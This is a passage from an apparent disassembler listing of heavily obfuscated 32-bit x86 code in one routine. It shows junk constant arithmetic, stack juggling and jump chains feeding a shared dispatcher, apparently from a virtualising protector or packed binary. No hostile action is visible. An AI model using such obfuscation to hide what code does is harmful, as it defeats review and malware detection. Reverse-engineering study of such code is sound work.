loc_5AEDAA:				; CODE XREF: sub_5A55E5+10E00j
		mov	esi, esp
		jmp	loc_5ADFEC
; ---------------------------------------------------------------------------


loc_5AEDB1:				; CODE XREF: sub_5A55E5+173B5j
		push	ecx
		jmp	loc_5B1D53
; ---------------------------------------------------------------------------


loc_5AEDB7:				; CODE XREF: sub_5A55E5+186E6j
		sub	al, 2Fh
		push	bx
		mov	bh, 56h
		add	al, bh
		mov	bx, word ptr [esp+42h+var_42]
		add	esp, 2
		jmp	loc_5B7145
; ---------------------------------------------------------------------------


loc_5AEDCB:				; CODE XREF: sub_5A55E5+9325j
		push	edx
		mov	edx, 1F4C59B9h
		shr	edx, 2
		xor	edx, 6955725Fh
		sub	esp, 4
		mov	[esp+32h+var_32], edx
		pop	ebp
		mov	edx, [esp+2Eh+var_2E]
		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_5B20C2
; ---------------------------------------------------------------------------


loc_5AEDED:				; CODE XREF: sub_5A55E5+F185j
		mov	ecx, [esp+36h+var_36]
		push	ebp
		jmp	loc_5BCF81
; ---------------------------------------------------------------------------


loc_5AEDF6:				; CODE XREF: sub_5A55E5+7FEAj
		push	ebp
		push	ecx
		jmp	loc_5AD240
; ---------------------------------------------------------------------------


loc_5AEDFD:				; CODE XREF: sub_5A55E5+6ECBj
		pop	[esp+24h+var_26+2]
		mov	esp, [esp+20h+var_22+2]
		mov	[esp+20h+var_22+2], ebx
		jmp	loc_5B49BA
; ---------------------------------------------------------------------------


loc_5AEE0B:				; DATA XREF: sub_5A55E5+42C3o
		mov	cx, word ptr [esp+14h+var_14]
		push	ecx
		push	esp
		mov	ecx, [esp+1Ch+var_1C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+24h+var_22+2]
		pop	edx
		pop	[esp+24h+var_26+2]
		jmp	loc_5B3D25
; ---------------------------------------------------------------------------


loc_5AEE31:				; CODE XREF: sub_5A55E5+11BF8j
		push	11ADh
		jmp	loc_5A9DA3
; ---------------------------------------------------------------------------


loc_5AEE3B:				; CODE XREF: sub_5A55E5+13CE5j
		push	1034h
		mov	[esp+28h+var_2A+2], ebx
		mov	ebx, 17947260h
		neg	ebx
		sub	ebx, 62CB4565h
		push	edx
		jmp	loc_5BECF0
; ---------------------------------------------------------------------------


loc_5AEE56:				; CODE XREF: sub_5A55E5+16B61j
		dec	ecx
		dec	ecx
		sub	ecx, 0AD8850F8h
		mov	esi, ecx
		pop	ecx
		sub	eax, 7CA842F8h
		jmp	loc_5B4209
; ---------------------------------------------------------------------------


loc_5AEE6B:				; CODE XREF: sub_5A55E5+16B88j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5B293C
; ---------------------------------------------------------------------------


loc_5AEE78:				; CODE XREF: sub_5A55E5+17A08j
		push	ebx
		jmp	loc_5BAA36
; ---------------------------------------------------------------------------


loc_5AEE7E:				; CODE XREF: sub_5A55E5+1405Aj
		push	eax
		mov	eax, 5F7A0E29h
		push	edi
		mov	edi, 27EC5D87h
		jmp	loc_5B4BE3
; ---------------------------------------------------------------------------


loc_5AEE8F:				; DATA XREF: sub_5A55E5+4173o
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		mov	edx, esp
		push	42DDh
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_5B7C5A
; ---------------------------------------------------------------------------


loc_5AEEB0:				; DATA XREF: sub_5A55E5+433Bo
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	edx
		mov	edx, esp
		jmp	loc_5BB05B
; ---------------------------------------------------------------------------


loc_5AEEC1:				; CODE XREF: sub_5A55E5+16C50j
		mov	ecx, eax
		jmp	loc_5B174E
; ---------------------------------------------------------------------------


loc_5AEEC8:				; CODE XREF: sub_5A55E5+15F47j
		mov	ebx, 5C6354BAh
		xchg	ebp, ebx
		jmp	loc_5BD019
; ---------------------------------------------------------------------------


loc_5AEED4:				; CODE XREF: sub_5A55E5+602Dj
		mov	esi, esp
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebp
		jmp	loc_5B8E34
; ---------------------------------------------------------------------------


loc_5AEEE4:				; CODE XREF: sub_5A55E5+6018j
		push	4F56h
		mov	[esp+2Ch+var_2E+2], ebx
		mov	ebx, 29E31A33h
		add	ebx, 3D104CA2h
		shl	ebx, 4
		shr	ebx, 1
		jmp	loc_5B7F31
; ---------------------------------------------------------------------------


loc_5AEF01:				; CODE XREF: sub_5A55E5+144B2j
		pop	esi
		jmp	loc_5BB1CC
; ---------------------------------------------------------------------------


loc_5AEF07:				; CODE XREF: sub_5A55E5+F87Cj
		push	esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_5B0B41
; ---------------------------------------------------------------------------


loc_5AEF10:				; CODE XREF: sub_5A55E5+17BBBj
		add	[esp+30h+var_2E+2], eax
		pop	eax
		jmp	loc_5BA02C
; ---------------------------------------------------------------------------


loc_5AEF1A:				; CODE XREF: sub_5A55E5+F391j
		mov	eax, edi
		pop	edi
		jmp	loc_5B257E
; ---------------------------------------------------------------------------


loc_5AEF22:				; CODE XREF: sub_5A55E5+172E1j
		push	17D8h
		mov	[esp+2Ch+var_2E+2], ebx
		mov	ebx, 20424628h
		push	eax
		mov	eax, 3C65DEFh
		jmp	loc_5B077B
; ---------------------------------------------------------------------------


loc_5AEF3A:				; CODE XREF: sub_5A55E5+D431j
		sub	edx, 29601118h
		mov	ecx, edx
		pop	edx
		sub	[esp+2Ch+var_2A+2], ecx
		jmp	loc_5BB4A7
; ---------------------------------------------------------------------------


loc_5AEF4C:				; CODE XREF: sub_5A55E5+F335j
		push	[esp+2Ch+var_2E+2]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 75100644h
		shr	edx, 6
		inc	edx
		sub	edx, 2F8F6D4Ah
		add	edx, 31B762E7h
		neg	edx
		push	esi
		mov	esi, 0FD73DE1Fh
		xor	edx, esi
		pop	esi
		jmp	loc_5B59FC
; ---------------------------------------------------------------------------


loc_5AEF7C:				; CODE XREF: sub_5A55E5+13803j
		add	al, 9Ch
		push	62BAh
		mov	[esp+30h+var_32+2], edx
		mov	dh, 9Ah
		push	ebx
		mov	bl, 99h
		inc	bl
		not	bl
		xor	bl, 9Bh
		dec	bl
		add	bl, 76h
		add	dh, 10h
		jmp	loc_5B9B13
; ---------------------------------------------------------------------------


loc_5AEF9F:				; CODE XREF: sub_5A55E5+18A56j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+34h+var_36+2]
		pop	esp
		mov	eax, 0BEDD8965h
		sub	eax, 1ADF77E8h
		add	eax, edx
		add	eax, 1ADF77E8h
		mov	edx, [esp+30h+var_32+2]
		add	esp, 4
		sub	[esp+2Ch+var_2A+2], 34F67F46h
		add	[esp+2Ch+var_2A+2], eax
		add	[esp+2Ch+var_2A+2], 34F67F46h
		mov	eax, [esp+2Ch+var_2E+2]
		add	esp, 4
		jmp	loc_5BB6CD
; ---------------------------------------------------------------------------


loc_5AEFE7:				; CODE XREF: sub_5A55E5+114CAj
		mov	eax, 50A3590Ch
		push	esi
		push	39A20B08h
		pop	esi
		jmp	loc_5B2429
; ---------------------------------------------------------------------------


loc_5AEFF8:				; CODE XREF: sub_5A55E5+BE6Dj
		mov	ebp, edi
		push	[esp+2Ch+var_2E+2]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AB9EF
; ---------------------------------------------------------------------------


loc_5AF012:				; CODE XREF: sub_5A55E5+11A4Fj
		pop	ebp
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], esp
		add	[esp+30h+var_32+2], 4
		jmp	loc_5BDAAC
; ---------------------------------------------------------------------------


loc_5AF033:				; CODE XREF: sub_5A55E5+12B6Cj
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+34h+var_36+2], edx
		mov	edx, 7B6346Fh
		jmp	loc_5B1813
; ---------------------------------------------------------------------------


loc_5AF04A:				; DATA XREF: sub_5A55E5+422Fo
		mov	ax, word ptr [esp+14h+var_14]
		push	251Fh
		mov	[esp+18h+var_18], ebx
		push	2BA2h
		push	esp
		jmp	loc_5BD9D1
; ---------------------------------------------------------------------------


loc_5AF061:				; DATA XREF: sub_5A55E5+42D3o
		push	edx
		push	eax
		mov	eax, 1Ch
		mov	edx, eax
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		sub	edx, 389E7145h
		add	edx, 27ED6646h
		add	edx, edi
		sub	edx, 27ED6646h
		add	edx, 389E7145h
		jmp	loc_5ACA44
; ---------------------------------------------------------------------------


loc_5AF08F:				; CODE XREF: sub_5A55E5+16216j
		pop	eax
		jmp	loc_5A9AD3
; ---------------------------------------------------------------------------


loc_5AF095:				; CODE XREF: sub_5A55E5+F35Cj
		add	ecx, 651456A1h
		mov	ebp, ecx
		pop	ecx
		add	ecx, ebp
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		mov	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		jmp	loc_5BBD09
; ---------------------------------------------------------------------------


loc_5AF0B4:				; CODE XREF: sub_5A55E5+4FECj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+46h+var_46]
		pop	esp
		mov	[esp+42h+var_42], ebx
		push	eax
		mov	ah, 87h
		mov	bl, 51h
		add	bl, ah
		mov	eax, [esp+46h+var_46]
		add	esp, 4
		mov	ch, bl
		jmp	loc_5BA9CA
; ---------------------------------------------------------------------------


loc_5AF0E0:				; CODE XREF: sub_5A55E5+193FAj
		mov	esi, esp
		push	edi
		mov	edi, 3FAE601Ch
		jmp	loc_5A9A32
; ---------------------------------------------------------------------------


loc_5AF0ED:				; CODE XREF: sub_5A55E5+87C8j
		mov	esp, [esp+0]
		btr	[esp+0], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AF0FB:				; CODE XREF: sub_5A55E5+F1BEj
		add	esp, 4
		add	eax, 115A7671h
		jmp	loc_5B63E4
; ---------------------------------------------------------------------------


loc_5AF10B:				; CODE XREF: sub_5A55E5+6345j
		mov	eax, [esp+22h+var_22]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+26h+var_26]
		push	ecx
		jmp	loc_5B793B
; ---------------------------------------------------------------------------


loc_5AF122:				; CODE XREF: sub_5A55E5+C38Aj
		mov	esi, 1E8C7DE2h
		shl	esi, 1
		dec	esi
		push	0
		sub	[esp+2Eh+var_2E], esi
		pop	esi
		xor	esi, 0FB8A3FAFh
		jmp	loc_5BBFD8
; ---------------------------------------------------------------------------


loc_5AF13E:				; CODE XREF: sub_5A55E5+8733j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		jmp	loc_5BB531
; ---------------------------------------------------------------------------


loc_5AF152:				; CODE XREF: sub_5A55E5+73ABj
		pop	ebx
		add	al, ch
		jmp	loc_5B5D0B
; ---------------------------------------------------------------------------


loc_5AF15A:				; DATA XREF: sub_5A55E5+42DFo
		mov	ax, word ptr [esp+14h+var_14]
		push	7084h
		jmp	loc_5BC888
; ---------------------------------------------------------------------------


loc_5AF168:				; CODE XREF: sub_5A55E5+16F03j
		add	edx, ecx
		jmp	loc_5AFDE0
; ---------------------------------------------------------------------------


loc_5AF16F:				; CODE XREF: sub_5A55E5+A5B7j
		mov	esp, [esp+18h+var_18]
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_5ADDE2
; ---------------------------------------------------------------------------


loc_5AF17F:				; CODE XREF: sub_5A55E5+F61Aj
		xor	[esp+1Ch+var_1C], ecx
		jmp	loc_5AC139
; ---------------------------------------------------------------------------


loc_5AF187:				; DATA XREF: sub_5A55E5+4363o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp+12h+var_14+2], cl
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AF196:				; CODE XREF: sub_5A55E5+FBE1j
		sub	eax, ebp
		pop	ebp
		xor	eax, [esp+12h+var_14+2]
		xor	[esp+12h+var_14+2], eax
		xor	eax, [esp+12h+var_14+2]
		jmp	loc_5B35AE
; ---------------------------------------------------------------------------


loc_5AF1A7:				; CODE XREF: sub_5A55E5+D475j
		mov	ebx, esi
		jmp	loc_5BA4F7
; ---------------------------------------------------------------------------


loc_5AF1AE:				; CODE XREF: sub_5A55E5+A161j
		xor	edx, 63A46539h
		sub	ebp, edx
		pop	edx
		push	ebp
		push	[esp+12h+var_10+2]
		pop	ebp
		pop	[esp+12h+var_14+2]
		mov	esp, [esp+0Eh+var_10+2]
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, esp
		jmp	loc_5AA628
; ---------------------------------------------------------------------------


loc_5AF1CD:				; CODE XREF: sub_5A55E5+17F7Fj
		sub	eax, edx
		jmp	loc_5AA8B8
; ---------------------------------------------------------------------------


loc_5AF1D4:				; DATA XREF: sub_5A55E5+4333o
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		push	79E5h
		mov	[esp+1Ch+var_1C], edi
		push	23B3h
		mov	[esp+20h+var_22+2], ebx
		mov	ebx, 24E12BFh
		push	esi
		jmp	loc_5BE9E4
; ---------------------------------------------------------------------------


loc_5AF1F5:				; CODE XREF: sub_5A55E5+A13Bj
		pop	esp
		push	esp
		jmp	loc_5B31D9
; ---------------------------------------------------------------------------


loc_5AF1FC:				; CODE XREF: sub_5A55E5+B7E6j
		mov	[esp+24h+var_26+2], ebp
		jmp	loc_5B6BB4
; ---------------------------------------------------------------------------


loc_5AF204:				; CODE XREF: sub_5A55E5+CA0Ej
		sub	esp, 4
		jmp	loc_5B371A
; ---------------------------------------------------------------------------


loc_5AF20F:				; CODE XREF: sub_5A55E5+A284j
		pop	ebx
		add	bl, 0F8h
		sub	bl, dl
		push	ax
		mov	ah, 0F8h
		sub	bl, ah
		pop	ax
		mov	dx, word ptr [esp+24h+var_26+2]
		add	esp, 2
		sub	esp, 4
		jmp	loc_5B43D9
; ---------------------------------------------------------------------------


loc_5AF22F:				; CODE XREF: sub_5A55E5+D244j
		sub	al, bl
		sub	al, 0D8h
		pop	ebx
		jmp	loc_5B99E6
; ---------------------------------------------------------------------------


loc_5AF239:				; CODE XREF: sub_5A55E5+4ACBj
		sub	ebp, 6E86642Dh
		sub	edi, 43A201B2h
		add	edi, 58B83AA3h
		jmp	loc_5BC8B0
; ---------------------------------------------------------------------------


loc_5AF250:				; CODE XREF: sub_5A55E5+11545j
		push	3A5A700Ch
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_5ABD32
; ---------------------------------------------------------------------------


loc_5AF263:				; CODE XREF: sub_5A55E5+492Fj
		add	ebp, 2ACF779Ah
		sub	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+52h+var_54+2], esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5AB361
; ---------------------------------------------------------------------------


loc_5AF283:				; CODE XREF: sub_5A55E5+71F5j
		pop	esi
		add	ecx, edx
		jmp	loc_5AFE50
; ---------------------------------------------------------------------------


loc_5AF28B:				; CODE XREF: sub_5A55E5+573Aj
		mov	[esp+36h+var_36], edx
		mov	dh, bl
		jmp	loc_5B4775
; ---------------------------------------------------------------------------


loc_5AF295:				; CODE XREF: sub_5A55E5+165ACj
		dec	ebx
		xor	ebx, 9E93336h
		sub	ebx, 632C0CE4h
		add	ebx, 429462ECh
		jmp	loc_5BB241
; ---------------------------------------------------------------------------


loc_5AF2AD:				; CODE XREF: sub_5A55E5+5215j
		add	edx, 4
		jmp	loc_5B651A
; ---------------------------------------------------------------------------


loc_5AF2B8:				; CODE XREF: sub_5A55E5+A64Ej
		xor	[esp+24h+var_26+2], edx
		xor	edx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], ebx
		push	1Ch
		push	[esp+28h+var_2A+2]
		jmp	loc_5B6731
; ---------------------------------------------------------------------------


loc_5AF2D1:				; CODE XREF: sub_5A55E5+4B2Dj
		mov	esp, [esp+18h+var_18]
		or	eax, eax
		jz	loc_5BB94E
		push	edx
		push	esi
		mov	esi, 1Ch
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		jmp	loc_5BB19A
; ---------------------------------------------------------------------------


loc_5AF2EE:				; CODE XREF: sub_5A55E5+10A49j
		pop	ebx
		not	ebx
		xor	ebx, 0DAA7A6DFh
		mov	ecx, ebx
		jmp	loc_5B852C
; ---------------------------------------------------------------------------


loc_5AF2FE:				; CODE XREF: sub_5A55E5+1022Ej
		push	esi
		mov	esi, 28AB2CFFh
		mov	edx, esi
		pop	esi
		and	ebp, edx
		jmp	loc_5ADBCB
; ---------------------------------------------------------------------------


loc_5AF30E:				; CODE XREF: sub_5A55E5+6AF4j
		mov	[esp+6Eh+var_70+2], eax
		push	esp
		jmp	loc_5B4013
; ---------------------------------------------------------------------------


loc_5AF317:				; CODE XREF: sub_5A55E5+65F8j
		mov	ebp, [esp+38h+var_3A+2]
		add	esp, 4
		push	8BFh
		mov	[esp+38h+var_3A+2], esi
		mov	esi, 600902EBh
		neg	esi
		push	edi
		push	edx
		mov	edx, 61A703Ch
		mov	edi, edx
		pop	edx
		add	edi, 49A7B40Ch
		jmp	loc_5BACAE
; ---------------------------------------------------------------------------


loc_5AF344:				; CODE XREF: sub_5A55E5+C697j
		sub	esp, 4
		mov	[esp+40h+var_42+2], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AF68F
; ---------------------------------------------------------------------------


loc_5AF35D:				; CODE XREF: sub_5A55E5+F41Bj
		add	ebp, ecx
		sub	ebp, 4D7417DCh
		jmp	loc_5BF32A
; ---------------------------------------------------------------------------


loc_5AF36A:				; CODE XREF: sub_5A55E5+1851Cj
		mov	al, 14h
		mov	dh, al
		pop	eax
		push	ecx
		mov	ch, 0ECh
		or	ch, 0BCh
		and	ch, 9Eh
		shr	ch, 2
		xor	ch, 13h
		add	al, ch
		pop	ecx
		push	edx
		mov	dh, 0BAh
		and	dh, 5Ch
		shr	dh, 8
		xor	dh, 0B7h
		and	dh, 10h
		jmp	loc_5BB3DE
; ---------------------------------------------------------------------------


loc_5AF395:				; CODE XREF: sub_5A55E5+14F16j
		push	edi
		sub	[esp+44h+var_46+2], 1C2C7339h
		jmp	loc_5BA573
; ---------------------------------------------------------------------------


loc_5AF3A2:				; CODE XREF: sub_5A55E5+87F8j
		add	ebx, 1E9A7AEDh
		add	edi, ebx
		pop	ebx
		push	0
		sub	[esp+2Ch+var_2E+2], edi
		pop	edi
		push	edi
		jmp	loc_5B917D
; ---------------------------------------------------------------------------


loc_5AF3BA:				; CODE XREF: sub_5A55E5+132AAj
		add	eax, esi
		add	eax, 0A455035h
		sub	eax, 159919E4h
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5BD854
; ---------------------------------------------------------------------------


loc_5AF3CE:				; CODE XREF: sub_5A55E5+12064j
		xor	esi, 2D3371DFh
		add	esi, 57394F1Bh
		jmp	loc_5ACE05
; ---------------------------------------------------------------------------


loc_5AF3DF:				; CODE XREF: sub_5A55E5+17B15j
		mov	[esp+30h+var_32+2], esp
		add	[esp+30h+var_32+2], 4
		pop	eax
		add	eax, 4
		jmp	loc_5B121F
; ---------------------------------------------------------------------------


loc_5AF3F4:				; CODE XREF: sub_5A55E5+1015Dj
		pop	ebx
		pop	[esp+28h+var_2A+2]
		mov	esp, [esp+24h+var_26+2]
		mov	[esp+24h+var_26+2], ebx
		jmp	loc_5BE1BF
; ---------------------------------------------------------------------------


loc_5AF403:				; CODE XREF: sub_5A55E5+185FCj
		push	edx
		mov	edx, 3B1A5C87h
		push	esi
		mov	esi, 1
		sub	edx, esi
		pop	esi
		not	edx
		not	edx
		shl	edx, 3
		push	edi
		mov	edi, 7B911A66h
		jmp	loc_5AF9B9
; ---------------------------------------------------------------------------


loc_5AF424:				; CODE XREF: sub_5A55E5+1715Aj
		pop	ecx
		xor	ecx, 26497088h
		jmp	loc_5B8DB1
; ---------------------------------------------------------------------------


loc_5AF430:				; CODE XREF: sub_5A55E5+75F0j
		xor	esi, edx
		pop	edx
		push	7DBCh
		mov	[esp+1Ah+var_1C+2], esi
		pop	eax
		jmp	loc_5B048E
; ---------------------------------------------------------------------------


loc_5AF441:				; CODE XREF: sub_5A55E5+103F3j
		sub	ax, 6CF8h
		sub	ax, cx
		add	ax, 6CF8h
		pop	ecx
		sub	ax, bx
		add	ax, 129Eh
		sub	ax, 6950h
		push	1FDAh
		mov	[esp+16h+var_18+2], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		jmp	loc_5B5712
; ---------------------------------------------------------------------------


loc_5AF46E:				; CODE XREF: sub_5A55E5+C856j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+0]
		jmp	loc_5B3BD5
; ---------------------------------------------------------------------------


loc_5AF482:				; CODE XREF: sub_5A55E5+D47Dj
		push	edx
		jmp	loc_5B4DDD
; ---------------------------------------------------------------------------


loc_5AF488:				; CODE XREF: sub_5A55E5+11116j
		mov	ecx, [esp+22h+var_22]
		add	esp, 4
		not	ebp
		sub	ebp, 3AE60135h
		inc	ebp
		add	ebp, 0AAF916C4h
		jmp	loc_5B7276
; ---------------------------------------------------------------------------


loc_5AF4A2:				; CODE XREF: sub_5A55E5+17342j
		or	ebx, edx
		pop	edx
		sub	ebx, 0FFFFFFFFh
		shl	ebx, 6
		jmp	loc_5ADBB2
; ---------------------------------------------------------------------------


loc_5AF4B3:				; CODE XREF: sub_5A55E5+1438Aj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AF4B8:				; CODE XREF: sub_5A55E5+108F7j
		pop	ebp
		add	esp, 4
		or	ebx, 33B37628h
		jmp	loc_5AD33F
; ---------------------------------------------------------------------------


loc_5AF4CA:				; CODE XREF: sub_5A55E5+11659j
		add	al, 93h
		sub	al, 56h
		sub	esp, 2
		mov	word ptr [esp+16h+var_18+2], cx
		jmp	loc_5B5EED
; ---------------------------------------------------------------------------


loc_5AF4DA:				; CODE XREF: sub_5A55E5+7313j
		xchg	ecx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	edi
		push	ecx
		push	edx
		mov	edx, 66EE7AF4h
		jmp	loc_5BD360
; ---------------------------------------------------------------------------


loc_5AF4ED:				; DATA XREF: sub_5A55E5+437Fo
		mov	cx, word ptr [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		sub	esp, 4
		jmp	loc_5AF5FF
; ---------------------------------------------------------------------------


loc_5AF502:				; CODE XREF: sub_5A55E5+F98Cj
		shl	esi, 3
		xor	esi, 26768E22h
		sub	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 49BD6077h
		and	ecx, 2C781684h
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5B2A36
; ---------------------------------------------------------------------------


loc_5AF525:				; CODE XREF: sub_5A55E5+F7FDj
		inc	edx
		xor	edx, 67835E43h
		jmp	loc_5AD409
; ---------------------------------------------------------------------------


loc_5AF531:				; CODE XREF: sub_5A55E5+F52Dj
		not	ebx
		sub	ebx, 0E8E0B1A1h
		push	edx
		mov	edx, 17E5394Dh
		xor	edx, 14BB2B51h
		add	eax, 254E1C6Fh
		sub	eax, edx
		sub	eax, 254E1C6Fh
		pop	edx
		add	eax, ebx
		add	eax, 35E121Ch
		mov	ebx, [esp+1Ch+var_1C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_22+2]
		pop	esp
		xchg	eax, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AF577:				; CODE XREF: sub_5A55E5+15668j
		mov	ebx, [esp+1Ch+var_1C]
		push	eax
		mov	eax, esp
		jmp	loc_5B0CF0
; ---------------------------------------------------------------------------


loc_5AF582:				; CODE XREF: sub_5A55E5+5E32j
		push	4
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5AB778
; ---------------------------------------------------------------------------


loc_5AF592:				; CODE XREF: sub_5A55E5+101FEj
		push	esi
		push	edi
		mov	edi, 343F36BDh
		mov	esi, 0E003DD34h
		add	esi, edi
		jmp	loc_5BB29C
; ---------------------------------------------------------------------------


loc_5AF5A5:				; CODE XREF: sub_5A55E5+9137j
		pop	ecx
		and	esi, 73024749h
		add	esi, 0ECF70895h
		xor	ebp, esi
		mov	esi, [esp+26h+var_26]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+22h+var_22]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+26h+var_26]
		pop	esp
		sub	eax, 554A420Ah
		sub	eax, 10557C06h
		shl	eax, 7
		xor	eax, 643FF42Fh
		mov	edi, eax
		pop	eax
		add	edi, 0FFFFFFFFh
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		jmp	loc_5AE04E
; ---------------------------------------------------------------------------


loc_5AF5F7:				; CODE XREF: sub_5A55E5+4C05j
		add	edx, ebp
		pop	ebp
		jmp	loc_5AB052
; ---------------------------------------------------------------------------


loc_5AF5FF:				; CODE XREF: sub_5A55E5+9F18j
		mov	[esp+1Ch+var_1C], esp
		push	edx
		mov	edx, 4
		sub	[esp+20h+var_1C], 794732B3h
		jmp	loc_5B5E49
; ---------------------------------------------------------------------------


loc_5AF615:				; CODE XREF: sub_5A55E5+DF0Fj
		mov	edx, 4FCB5B28h
		jmp	loc_5BE981
; ---------------------------------------------------------------------------


loc_5AF61F:				; CODE XREF: sub_5A55E5+18156j
		xor	ebp, edx
		jmp	loc_5AB749
; ---------------------------------------------------------------------------


loc_5AF626:				; CODE XREF: sub_5A55E5+13D78j
		and	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 0D6925D46h
		add	esi, ecx
		pop	ecx
		mov	edi, esi
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_5BA85B
; ---------------------------------------------------------------------------


loc_5AF63C:				; CODE XREF: sub_5A55E5+D9C8j
		mov	ecx, 13A85E1Ch
		jmp	loc_5AC6D4
; ---------------------------------------------------------------------------


loc_5AF646:				; CODE XREF: sub_5A55E5+4595j
		mov	esi, esp
		push	ecx
		mov	ecx, 5DAC7F42h
		push	ebp
		mov	ebp, 52E22DC2h
		or	ebp, 24F875F8h
		and	ebp, 72CF5765h
		and	ebp, 53F33EC2h
		jmp	loc_5B62F8
; ---------------------------------------------------------------------------


loc_5AF66B:				; CODE XREF: sub_5A55E5+E6D6j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+0]
		pop	esp
		xor	esi, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], esi
		xor	esi, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		imul	ecx
		push	6B69h
		jmp	loc_5B7579
; ---------------------------------------------------------------------------


loc_5AF68F:				; CODE XREF: sub_5A55E5+9D73j
		xchg	edx, [esp+40h+var_42+2]
		jmp	loc_5B0DCA
; ---------------------------------------------------------------------------


loc_5AF697:				; CODE XREF: sub_5A55E5+10BCEj
		pop	edi
		add	ecx, edi
		pop	edi
		jmp	loc_5BB88D
; ---------------------------------------------------------------------------


loc_5AF6A0:				; CODE XREF: sub_5A55E5+13E0Cj
		mov	esp, [esp+38h+var_3A+2]
		jmp	loc_5AB874
; ---------------------------------------------------------------------------


loc_5AF6A8:				; CODE XREF: sub_5A55E5+18392j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+38h+var_3A+2]
		jmp	loc_5B70CF
; ---------------------------------------------------------------------------


loc_5AF6BE:				; CODE XREF: sub_5A55E5+19DCAj
		mov	ebx, 42C15A51h
		jmp	loc_5AC332
; ---------------------------------------------------------------------------


loc_5AF6C8:				; CODE XREF: sub_5A55E5+17498j
		and	ebp, 2E045E96h
		add	ebp, 0D1FBB17Eh
		push	edx
		mov	edx, ebp
		mov	ecx, edx
		mov	edx, [esp+3Ch+var_3E+2]
		add	esp, 4
		mov	ebp, [esp+38h+var_3A+2]
		jmp	loc_5B3F7D
; ---------------------------------------------------------------------------


loc_5AF6E7:				; CODE XREF: sub_5A55E5+EDCFj
		mov	eax, [esp+38h+var_3A+2]
		add	esp, 4
		sub	al, dh
		mov	edx, [esp+34h+var_36+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+34h+var_36+2], eax
		jmp	loc_5BF4AB
; ---------------------------------------------------------------------------


loc_5AF703:				; CODE XREF: sub_5A55E5+9003j
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp+10h+var_10]
		jmp	loc_5AC595
; ---------------------------------------------------------------------------


loc_5AF710:				; CODE XREF: sub_5A55E5+1067Bj
		pop	eax
		sub	ebp, 4
		xor	ebp, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ebp
		xor	ebp, [esp+0Ch+var_C]
		jmp	loc_5AF1F5
; ---------------------------------------------------------------------------


loc_5AF725:				; CODE XREF: sub_5A55E5+16D0Cj
		add	ebp, 44F046C1h
		jmp	loc_5B868D
; ---------------------------------------------------------------------------


loc_5AF730:				; CODE XREF: sub_5A55E5+B081j
		pop	ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		jmp	loc_5BA730
; ---------------------------------------------------------------------------


loc_5AF73D:				; CODE XREF: sub_5A55E5+E8D6j
